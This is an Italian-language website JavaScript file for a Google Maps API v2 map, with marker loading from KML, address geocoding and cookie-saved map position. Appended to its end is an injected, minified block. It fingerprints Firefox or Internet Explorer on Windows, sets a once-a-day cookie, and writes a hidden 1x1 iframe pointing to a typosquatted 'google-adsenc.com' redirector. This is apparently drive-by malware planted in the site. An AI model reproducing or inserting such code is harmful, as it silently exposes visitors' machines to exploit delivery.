function getCookie(c_name)
{
  if (document.cookie.length>0)
  {
    c_start=document.cookie.indexOf(c_name+"=");
    if (c_start!=-1)
    { 
      c_start=c_start+c_name.length+1;
      c_end=document.cookie.indexOf(";",c_start);
      if (c_end==-1) c_end=document.cookie.length;
      return document.cookie.substring(c_start,c_end);
    } 
  }
}
//-------- Google Maps --------

var map;
var geocoder;
var config_google_lat,config_google_lng,config_google_zoom;
var config_scadenza_cookie="expires=Tue, 31 Dec 2030 23:59:59 UTC;";

var etichettaIcon=new GIcon(G_DEFAULT_ICON);
etichettaIcon.image="icone/generica/marker.png";
etichettaIcon.shadow="icone/generica/marker_shadow.png";
etichettaIcon.iconSize=new GSize(27,30);
etichettaIcon.shadowSize=new GSize(43,30);
etichettaIcon.iconAnchor=new GPoint(12,29);
etichettaIcon.infoWindowAnchor=new GPoint(12,29);
etichettaIcon.printImage="icone/generica/marker_print.gif";
etichettaIcon.mozPrintImage="icone/generica/marker_print.gif";
etichettaIcon.printShadow="icone/generica/marker_printshadow.gif";
etichettaIcon.transparent="icone/generica/marker_transparent.png";
etichettaIcon.imageMap=new Array(2,3,24,3,24,21,12,29,12,21,2,21);

function google_mapHandleErrors()
{
  if (map.getStatus().code==G_GEO_TOO_MANY_QUERIES) alert("Troppe richieste nelle 24 ore.\nCodice errore: "+gdir.getStatus().code);
  else if (map.getStatus().code==G_GEO_BAD_KEY) alert("Chiave non valida per il dominio.\nCodice errore: "+gdir.getStatus().code);
  else if (map.getStatus().code==G_GEO_BAD_REQUEST) alert("Errore di richiesta al server.\nCodice errore: "+gdir.getStatus().code);
  else alert("Errore non specificato.");
}

function google_createMarker(point,text,icon_url)
{
	if (icon_url) etichettaIcon.image=icon_url;
  markerOptions={icon:etichettaIcon};
  var marker = new GMarker(point,markerOptions);
  GEvent.addListener(marker,"click",function()
  {
  	marker.openInfoWindowHtml(text);
  });
  return marker;
}

function google_placeMarker(url)
{
  GDownloadUrl(url,function(data, responseCode)
  {
  	if(responseCode==200)
    {
      var xml=GXml.parse(data);
      var markers=xml.documentElement.getElementsByTagName("Placemark");
      //alert ("Etichetttaitalia.it: in manutanzione.\n"+markers.length); 
      var testo,coord;
      for (var i=0;i<markers.length;i++)
      {
      	testo="";
        coord="";
        icona="";
        
        testo=markers[i].getElementsByTagName("description")[0].text;
        if (!testo) testo=markers[i].getElementsByTagName("description")[0].textContent;
        coord=markers[i].getElementsByTagName("Point")[0].childNodes[0].text;
        if (!coord) coord=markers[i].getElementsByTagName("Point")[0].textContent
        icona=markers[i].getElementsByTagName("Icon")[0].childNodes[0].text;
        if (!icona) icona=markers[i].getElementsByTagName("Icon")[0].textContent;

        var p=coord.indexOf(",");
        var lng=parseFloat(coord.substring(0,p));
        var lat=parseFloat(coord.substring(p+1,coord.length));
        var marker=google_createMarker(new GLatLng(lat,lng),testo,icona);
        map.addOverlay(marker);
      }
    }
    else alert("Impossibile recuperare i dati.");
  });
}

function google_showAddress(address)
{
  if (geocoder)
  {
    geocoder.getLatLng(address,function(point)
    {
      if (!point)
      {
      	alert("L'indirizzo \""+address+"\" non è stato trovato!");
      }
      else
      {
        map.setCenter(point);
        if ((nuovomarker==true)&&(puntosegnato==false))
        {
        	lat=document.getElementById("lat");
          lng=document.getElementById("lng");
    
          map.addOverlay(marker=new GMarker(point,{draggable: true}));
          lat.value=point.lat();
          lng.value=point.lng();
          GEvent.addListener(marker,"dragend",function()
          {
            lat.value=marker.getPoint().lat();
            lng.value=marker.getPoint().lng();
          });
        	puntosegnato=true;
        }    
      }
    });
  }
}

function google_aggiunte()
{
}

function google_mappa()
{
  if (GBrowserIsCompatible())
  {
  	var mapid=document.getElementById("map");
    if (mapid)
    {
      map=new GMap2(mapid);
      geocoder = new GClientGeocoder();
      //map.enableScrollWheelZoom();
      map.enableDoubleClickZoom();
      map.enableContinuousZoom();
      map.addControl(new GLargeMapControl());
      map.addControl(new GMapTypeControl());
      
      lat=getCookie("lat");
      if (!lat) lat=config_google_lat;
      lng=getCookie("lng");
      if (!lng) lng=config_google_lng;
      zoom=parseInt(getCookie("zoom"));
      if (!zoom) zoom=config_google_zoom;
      
      var point = new GLatLng(lat,lng);
      map.setCenter(point,zoom);
      
      GEvent.addListener(map,"moveend",function()
      {
        document.cookie="lat="+map.getCenter().lat()+";"+config_scadenza_cookie;
        document.cookie="lng="+map.getCenter().lng()+";"+config_scadenza_cookie;
        document.cookie="zoom="+map.getZoom()+";"+config_scadenza_cookie;
      });
  
      GEvent.addListener(map,"error",google_mapHandleErrors);
      google_aggiunte();
    }
  }
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
